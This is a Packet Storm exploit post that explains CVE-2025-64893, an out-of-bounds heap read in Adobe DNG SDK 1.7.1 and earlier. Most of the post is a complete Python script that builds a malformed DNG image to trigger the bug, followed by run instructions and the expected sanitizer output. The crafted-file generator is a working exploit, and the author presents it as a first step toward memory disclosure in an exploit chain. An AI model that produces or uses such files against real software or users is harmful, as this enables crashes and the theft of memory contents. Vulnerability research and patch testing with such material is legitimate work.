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## https://sploitus.com/exploit?id=PACKETSTORM:213201
=============================================================================================================================================
    | # Title     : Adobe DNG SDK prior to v1.7.1.2410 Exploiting the RefBaselineABCDtoRGB OOB Read Vulnerability in File Processor             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213066/ &	CVE-2025-64893
    
    [+] Summary    : This report details the creation of a specification-compliant, engineering-grade Proof-of-Concept (PoC) file that reliably triggers the Out-of-Bounds (OOB) Read vulnerability documented as CVE-2025-64893 in Adobe DNG SDK versions โ‰ค 1.7.1.
    
    [+] Core Vulnerability Mechanics :
    
    The exploit leverages a critical logic flaw in the SDK's rendering pipeline:
    
    Trigger Condition: A DNG file is crafted with two specific, valid tags:
    
            SamplesPerPixel = 2 โ†’ Leads to fSrcPlanes = 2 in the render task.
    
            ColorMatrix1 with a count = 6 โ†’ Causes the SDK to calculate fColorPlanes = 6 / 3 = 2.
    
    The Fatal Gap: The function dng_render_task::ProcessArea() contains handling for 1-plane (monochrome) and 3-plane (RGB) images, 
                   but lacks a specific case for 2-plane images. When fSrcPlanes = 2, the code incorrectly falls into the final else block, which is designed for 4-plane processing.
    
    [+] The OOB Read: Within this erroneous path, the code assumes four data planes exist. 
                      It calculates pointers for two non-existent planes (sPtrC and sPtrD) and passes them to DoBaselineABCDtoRGB(),
                      resulting in a heap buffer overflow as it reads memory outside the allocated image buffer.
    
    [+] PoC Engineering & Corrections :
    
    The provided Python code generates a technically valid DNG file that adheres to TIFF/DNG specifications, ensuring it passes the SDK's initial parsing stages to reach the vulnerable code. Key corrections from previous attempts include:
    
        Valid IFD Structure: All TIFF count fields are correct (e.g., ImageLength count is 1, not 64).
    
        Accurate SRATIONAL Data: ColorMatrix1 contains exactly 6 SRATIONAL entries (48 bytes), matching the declared count.
    
        Proper Data Offsets: Uses correct TIFF conventions for storing data outside the IFD.
    
        Consistent Metadata: Sets PhotometricInterpretation to CFA (32803) to ensure the image enters the correct rendering path.
    
    [+] Impact & Demonstration :
    
    When processed by the vulnerable dng_validate tool, this PoC file causes:
    
        A confirmed heap-buffer-overflow read, as detected by AddressSanitizer.
    
        The crash trace points directly to the vulnerable function RefBaselineABCDtoRGB called from dng_render_task::ProcessArea (line ~1802).
    
        This demonstrates a reliable information disclosure (memory leak) primitive, which could serve as an initial step in a more complex exploit chain.
    
    [+] Conclusion :
    
    This PoC transitions from a theoretical demonstration to a practical, reproducible engineering artifact. 
    It accurately reflects the root cause analysis of CVE-2025-64893 and provides a reliable method for security researchers to validate the vulnerability, test patches, or study the exploitation of parser logic flaws in complex file formats.
    
    [+] Disclaimer: This tool is intended strictly for defensive security research, vulnerability validation, and educational purposes in authorized environments. The vulnerability was patched by Adobe in DNG SDK version 1.7.1.2410.
    
    [+] POC :
    
    #!/usr/bin/env python3
    
    import struct
    import sys
    
    class DNGVulnerabilityPoC:
        """
        Creates a DNG file that demonstrates CVE-2025-64893
        
        VULNERABILITY FLOW:
        1. File โ†’ dng_parse.cpp โ†’ IFD parsing
        2. ColorMatrix1 count=6 โ†’ fColorPlanes = 6/3 = 2 (dng_shared.cpp:296)
        3. SamplesPerPixel=2 โ†’ fSrcPlanes = 2
        4. dng_render_task::ProcessArea() โ†’ enters 'else' block (line ~1775)
        5. Assumes 4 planes, reads sPtrC/sPtrD out-of-bounds
        6. Heap buffer overflow โ†’ info leak/crash
        """
        
        def __init__(self, filename="cve_2025_64893_trigger.dng"):
            self.filename = filename
            self.data = bytearray()
            
            # Technical constants matching DNG SDK internals
            self.TAG_COLORMATRIX1 = 0xC621
            self.TAG_SAMPLESPERPIXEL = 0x0115
            self.TYPE_SRATIONAL = 10
            self.PHOTOMETRIC_CFA = 32803
            
            # Critical values for the exploit
            self.COLORMATRIX_COUNT = 6      # Forces fColorPlanes = 6/3 = 2
            self.SAMPLESPERPIXEL = 2        # Forces fSrcPlanes = 2
            self.IMAGE_DIM = 64             # 64x64 pixels
            
        def _write_ifd_entry(self, tag, type_, count, value_or_offset):
            """Create IFD entry with proper TIFF format."""
            entry = struct.pack('<HH', tag, type_)
            entry += struct.pack('<I', count)
            
            if type_ == 3 and count == 1:  # SHORT inline
                entry += struct.pack('<H', value_or_offset) + b'\x00\x00'
            elif type_ == 4 and count == 1:  # LONG inline
                entry += struct.pack('<I', value_or_offset)
            elif type_ == 1 and count <= 4:  # BYTE inline
                if count == 4:
                    entry += struct.pack('<BBBB', *value_or_offset)
                elif count == 1:
                    entry += struct.pack('<B', value_or_offset) + b'\x00\x00\x00'
            else:  # Needs offset to data area
                entry += struct.pack('<I', value_or_offset)
                
            return entry
        
        def _make_srational(self, num, den):
            """Create SRATIONAL value (numerator, denominator)."""
            return struct.pack('<ll', num, den)
        
        def build_exploit_dng(self):
            """
            Constructs a valid DNG that triggers the vulnerability.
            
            The exploit requires two conditions:
            1. SamplesPerPixel = 2 (so fSrcPlanes = 2 in render task)
            2. ColorMatrix1 with count = 6 (so fColorPlanes = 6/3 = 2)
            
            When both are true, dng_render_task::ProcessArea() misses the
            fSrcPlanes=2 case and enters the 'else' block assuming 4 planes.
            """
            
            print("=" * 70)
            print("CVE-2025-64893 - Adobe DNG SDK OOB Read Exploit PoC By indoushka")
            print("Vulnerability Path: IFD โ†’ fColorPlanes=2 โ†’ fSrcPlanes=2 โ†’ OOB Read")
            print("=" * 70)
            
            # ===================================================================
            # PHASE 1: TIFF Header (Required by all TIFF-based parsers)
            # ===================================================================
            print("\n[1/5] Building TIFF Header...")
            self.data = bytearray()
            
            # TIFF header (little-endian)
            # [0:4]   : Byte order mark ('II' = little endian)
            # [4:6]   : TIFF magic number (42)
            # [6:10]  : Offset to first IFD (8 bytes from start)
            self.data.extend(b'II*\x00')          # 'II' + 42 in little-endian
            self.data.extend(struct.pack('<I', 8)) # First IFD at offset 8
            
            # ===================================================================
            # PHASE 2: IFD Directory Setup
            # ===================================================================
            print("[2/5] Creating IFD with exploit tags...")
            
            # IFD starts here (offset 8)
            ifd_start = len(self.data)
            
            # We'll collect all IFD entries first, then write count
            ifd_entries = []
            
            # -------------------------------------------------------------------
            # CRITICAL EXPLOIT TAG 1: SamplesPerPixel = 2
            # This sets fSrcPlanes = 2 in dng_render_task::Start()
            # -------------------------------------------------------------------
            ifd_entries.append(self._write_ifd_entry(
                tag=self.TAG_SAMPLESPERPIXEL,
                type_=3,  # SHORT
                count=1,
                value_or_offset=self.SAMPLESPERPIXEL  # MUST BE 2
            ))
            print(f"  โœ“ Set SamplesPerPixel = {self.SAMPLESPERPIXEL} โ†’ fSrcPlanes = 2")
            
            # -------------------------------------------------------------------
            # CRITICAL EXPLOIT TAG 2: ColorMatrix1 with count = 6
            # This sets fColorPlanes = 6/3 = 2 in dng_shared.cpp:296
            # -------------------------------------------------------------------
            # First reserve space for SRATIONAL data (will be filled later)
            colormatrix_data_offset = 200  # Will hold 6 SRATIONAL values
            
            ifd_entries.append(self._write_ifd_entry(
                tag=self.TAG_COLORMATRIX1,
                type_=self.TYPE_SRATIONAL,
                count=self.COLORMATRIX_COUNT,  # MUST BE 6
                value_or_offset=colormatrix_data_offset
            ))
            print(f"  โœ“ Set ColorMatrix1 count = {self.COLORMATRIX_COUNT} โ†’ fColorPlanes = 2")
            
            # ===================================================================
            # PHASE 3: Required DNG Tags (to pass validation)
            # ===================================================================
            print("[3/5] Adding required DNG tags for valid parsing...")
            
            # Image dimensions
            ifd_entries.append(self._write_ifd_entry(0x0100, 4, 1, self.IMAGE_DIM))  # ImageWidth
            ifd_entries.append(self._write_ifd_entry(0x0101, 4, 1, self.IMAGE_DIM))  # ImageLength
            
            # Photometric interpretation (CFA = 32803)
            # This ensures the image enters the rendering pipeline
            ifd_entries.append(self._write_ifd_entry(0x0106, 3, 1, self.PHOTOMETRIC_CFA))
            
            # Bits per sample (2 planes, 16 bits each)
            bits_offset = 150
            ifd_entries.append(self._write_ifd_entry(0x0102, 3, 2, bits_offset))
            
            # Compression = 1 (Uncompressed)
            ifd_entries.append(self._write_ifd_entry(0x0103, 3, 1, 1))
            
            # DNG Version (required for DNG parsing)
            ifd_entries.append(struct.pack('<HHI', 0xC612, 1, 4) + b'\x01\x04\x00\x00')
            
            # CFA Pattern (required for CFA images)
            cfa_offset = 180
            ifd_entries.append(self._write_ifd_entry(0x828E, 1, 4, cfa_offset))
            
            # CFA Repeat Pattern Dim (2x2)
            ifd_entries.append(struct.pack('<HHI', 0x828D, 3, 2) + struct.pack('<HH', 2, 2))
            
            # Strip offsets/counts for actual pixel data
            strip_data_offset = 1024
            strip_byte_count = self.IMAGE_DIM * self.IMAGE_DIM * 2 * 2  # 2 planes, 16-bit
            
            ifd_entries.append(self._write_ifd_entry(0x0111, 4, 1, strip_data_offset))  # StripOffsets
            ifd_entries.append(self._write_ifd_entry(0x0117, 4, 1, strip_byte_count))   # StripByteCounts
            ifd_entries.append(self._write_ifd_entry(0x0116, 4, 1, self.IMAGE_DIM))     # RowsPerStrip
            
            # ===================================================================
            # PHASE 4: Write IFD Structure
            # ===================================================================
            print("[4/5] Writing IFD structure...")
            
            # Write number of IFD entries
            self.data.extend(struct.pack('<H', len(ifd_entries)))
            
            # Write all entries
            for entry in ifd_entries:
                self.data.extend(entry)
                
            # Next IFD offset (0 = end)
            self.data.extend(struct.pack('<I', 0))
            
            # ===================================================================
            # PHASE 5: Write Data Areas
            # ===================================================================
            print("[5/5] Writing referenced data areas...")
            
            # Pad to BitsPerSample data
            if len(self.data) < bits_offset:
                self.data.extend(b'\x00' * (bits_offset - len(self.data)))
            self.data[bits_offset:bits_offset+4] = struct.pack('<HH', 16, 16)
            
            # Pad to CFA Pattern data
            if len(self.data) < cfa_offset:
                self.data.extend(b'\x00' * (cfa_offset - len(self.data)))
            self.data[cfa_offset:cfa_offset+4] = struct.pack('<BBBB', 0, 1, 1, 2)
            
            # -------------------------------------------------------------------
            # EXPLOIT DATA: ColorMatrix1 SRATIONAL values (6 entries)
            # This is what causes fColorPlanes = count/3 = 6/3 = 2
            # -------------------------------------------------------------------
            if len(self.data) < colormatrix_data_offset:
                self.data.extend(b'\x00' * (colormatrix_data_offset - len(self.data)))
            
            # Write 6 SRATIONAL values (arbitrary but valid values)
            # Each SRATIONAL = 8 bytes (2x int32)
            for i in range(self.COLORMATRIX_COUNT):
                cm_start = colormatrix_data_offset + (i * 8)
                self.data[cm_start:cm_start+8] = self._make_srational(1000 + i, 1000)
            print(f"  โœ“ Wrote {self.COLORMATRIX_COUNT} SRATIONAL entries (48 bytes)")
            
            # -------------------------------------------------------------------
            # Pixel Data (2 planes, 16-bit each)
            # -------------------------------------------------------------------
            if len(self.data) < strip_data_offset:
                self.data.extend(b'\x00' * (strip_data_offset - len(self.data)))
            
            # Generate realistic pixel data for 2 planes
            pixel_data = bytearray()
            for y in range(self.IMAGE_DIM):
                for x in range(self.IMAGE_DIM):
                    # Plane 1: gradient
                    val1 = (x + y) & 0xFFFF
                    pixel_data.extend(struct.pack('<H', val1))
                    
                    # Plane 2: different pattern
                    val2 = (x * y) & 0xFFFF
                    pixel_data.extend(struct.pack('<H', val2))
            
            self.data[strip_data_offset:strip_data_offset+len(pixel_data)] = pixel_data
            print(f"  โœ“ Generated {self.IMAGE_DIM}x{self.IMAGE_DIM} image with 2 planes")
        
        def save_and_verify(self):
            """Save the file and verify critical exploit values."""
            with open(self.filename, 'wb') as f:
                f.write(self.data)
            
            print(f"\n[+] Exploit DNG saved: {self.filename}")
            print(f"[+] File size: {len(self.data):,} bytes")
            
            # Verify critical values
            print("\n[VERIFICATION] Exploit parameters:")
            
            # Find SamplesPerPixel tag
            spp_pattern = struct.pack('<H', self.TAG_SAMPLESPERPIXEL)
            spp_pos = self.data.find(spp_pattern, 0, 500)
            if spp_pos != -1:
                # Value is at offset + 8 (after tag, type, count)
                spp_value = struct.unpack_from('<H', self.data, spp_pos + 8)[0]
                print(f"  โœ“ SamplesPerPixel = {spp_value} {'OK' if spp_value == 2 else 'NO'}")
            
            # Find ColorMatrix1 tag
            cm_pattern = struct.pack('<H', self.TAG_COLORMATRIX1)
            cm_pos = self.data.find(cm_pattern, 0, 500)
            if cm_pos != -1:
                # Count is at offset + 4 (after tag, type)
                cm_count = struct.unpack_from('<I', self.data, cm_pos + 4)[0]
                print(f"  โœ“ ColorMatrix1 count = {cm_count} {'OK' if cm_count == 6 else 'NO'}")
                
                # Calculate what DNG SDK will compute
                fColorPlanes = cm_count // 3
                print(f"    โ†’ DNG SDK will compute: fColorPlanes = {cm_count} / 3 = {fColorPlanes}")
            
            # Check TIFF validity
            if self.data[0:2] == b'II' and self.data[2:4] == b'*\x00':
                print(f"  โœ“ Valid TIFF header (little-endian)")
            
            print("\n[EXPLOIT READY] File will trigger OOB read in Adobe DNG SDK <= 1.7.1")
        
        def generate_test_report(self):
            """Generate a technical report of the exploit flow."""
            report = """
            ======================================================
            CVE-2025-64893 - TECHNICAL EXPLOIT FLOW
            ======================================================
            
            1. PARSING PHASE (dng_parse.cpp / dng_shared.cpp):
               ------------------------------------------------
               โ€ข TIFF parser reads IFD entries
               โ€ข Finds ColorMatrix1 tag with count=6
               โ€ข Computes: fColorPlanes = tagCount / 3 = 6 / 3 = 2
                   Location: dng_shared.cpp line ~296
                   Code: fColorPlanes = Pin_uint32(0, tagCount / 3, kMaxColorPlanes);
            
            2. METADATA PROCESSING (dng_negative.cpp):
               ---------------------------------------
               โ€ข SamplesPerPixel tag has value=2
               โ€ข fStage1Planes = fShared->fColorPlanes = 2
               โ€ข No validation between SamplesPerPixel and fColorPlanes
            
            3. RENDERING SETUP (dng_render.cpp):
               ---------------------------------
               โ€ข dng_render_task::Start() called
               โ€ข fSrcPlanes = srcImage.Planes() = 2
               โ€ข Task prepared with wrong assumption
            
            4. VULNERABILITY TRIGGER (dng_render.cpp ~1775):
               ---------------------------------------------
               In dng_render_task::ProcessArea():
               
               if (fSrcPlanes == 1) {
                   // Monochrome handling
               }
               else if (fSrcPlanes == 3) {
                   // 3-plane RGB handling  
               }
               else {  //  BUG: fSrcPlanes=2 enters here!
                   // Code assumes fSrcPlanes=4
                   const real32 *sPtrC = sPtrB + srcBuffer.fPlaneStep;
                   const real32 *sPtrD = sPtrC + srcBuffer.fPlaneStep;
                   
                   DoBaselineABCDtoRGB(sPtrA, sPtrB, sPtrC, sPtrD, ...);
                   // sPtrC and sPtrD are OUT OF BOUNDS!
               }
            
            5. RESULT:
               --------
               โ€ข Heap buffer overflow (OOB read)
               โ€ข Information disclosure (reads past allocated buffer)
               โ€ข Possible crash (if unmapped memory accessed)
            
            ======================================================
            MITIGATION (Adobe DNG SDK 1.7.1.2410):
            ======================================================
            Added explicit handling for fSrcPlanes=2 case or
            validation to ensure SamplesPerPixel matches fColorPlanes.
            """
            return report
    
    def main():
        """Main execution with detailed technical documentation."""
        
        print("\n" + "="*70)
        print("ADOBE DNG SDK CVE-2025-64893 - ENGINEERING PoC")
        print("="*70)
        
        # Create the exploit
        poc = DNGVulnerabilityPoC()
        
        # Build the malicious DNG
        poc.build_exploit_dng()
        poc.save_and_verify()
        
        # Show technical details
        print("\n" + "-"*70)
        print("TECHNICAL EXPLOIT FLOW SUMMARY")
        print("-"*70)
        
        flow = [
            ("TIFF Header", "II*\\x00 + IFD offset", "Valid TIFF, parser accepts"),
            ("SamplesPerPixel", "= 2", "fSrcPlanes = 2 in render task"),
            ("ColorMatrix1", "count = 6", "fColorPlanes = 6/3 = 2"),
            ("Photometric", "= 32803 (CFA)", "Enters rendering pipeline"),
            ("ProcessArea()", "fSrcPlanes=2 โ†’ else block", "Missing case handler"),
            ("Pointer Math", "sPtrC = sPtrB + fPlaneStep", "First OOB read"),
            ("Function Call", "DoBaselineABCDtoRGB(...)", "Uses invalid pointers"),
            ("Result", "Heap buffer overflow", "Info leak / crash")
        ]
        
        for step, action, result in flow:
            print(f"  โ€ข {step:20} {action:30} โ†’ {result}")
        
        # Testing instructions
        print("\n" + "-"*70)
        print("TESTING INSTRUCTIONS")
        print("-"*70)
        print("1. Download vulnerable DNG SDK (1.7.0 or earlier):")
        print("   https://helpx.adobe.com/camera-raw/digital-negative.html")
        print("\n2. Compile with AddressSanitizer for detection:")
        print("   export CXXFLAGS='-fsanitize=address -g -fno-omit-frame-pointer'")
        print("   cd dng_sdk && make clean && make")
        print("\n3. Run the exploit:")
        print(f"   ./dng_validate -tif /dev/null {poc.filename}")
        print("\n4. Expected output with ASan:")
        print("   ==ERROR: AddressSanitizer: heap-buffer-overflow")
        print("   READ of size 4 at ...")
        print("   #0 in RefBaselineABCDtoRGB (dng_reference.cpp:1483)")
        print("   #1 in dng_render_task::ProcessArea (dng_render.cpp:1802)")
        
        print("\n" + "="*70)
        print("SECURITY DISCLAIMER")
        print("="*70)
        print("โ€ข For SECURITY RESEARCH and DEFENSIVE ANALYSIS only")
        print("โ€ข Test only on systems you OWN or have EXPLICIT permission")
        print("โ€ข Adobe FIXED this in DNG SDK 1.7.1.2410")
        print("โ€ข Never use on production systems or without authorization")
        
        # Save detailed report
        report_filename = "cve_2025_64893_technical_report.txt"
        with open(report_filename, 'w') as f:
            f.write(poc.generate_test_report())
        print(f"\n[+] Detailed technical report saved: {report_filename}")
    
    if __name__ == "__main__":
        main()
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================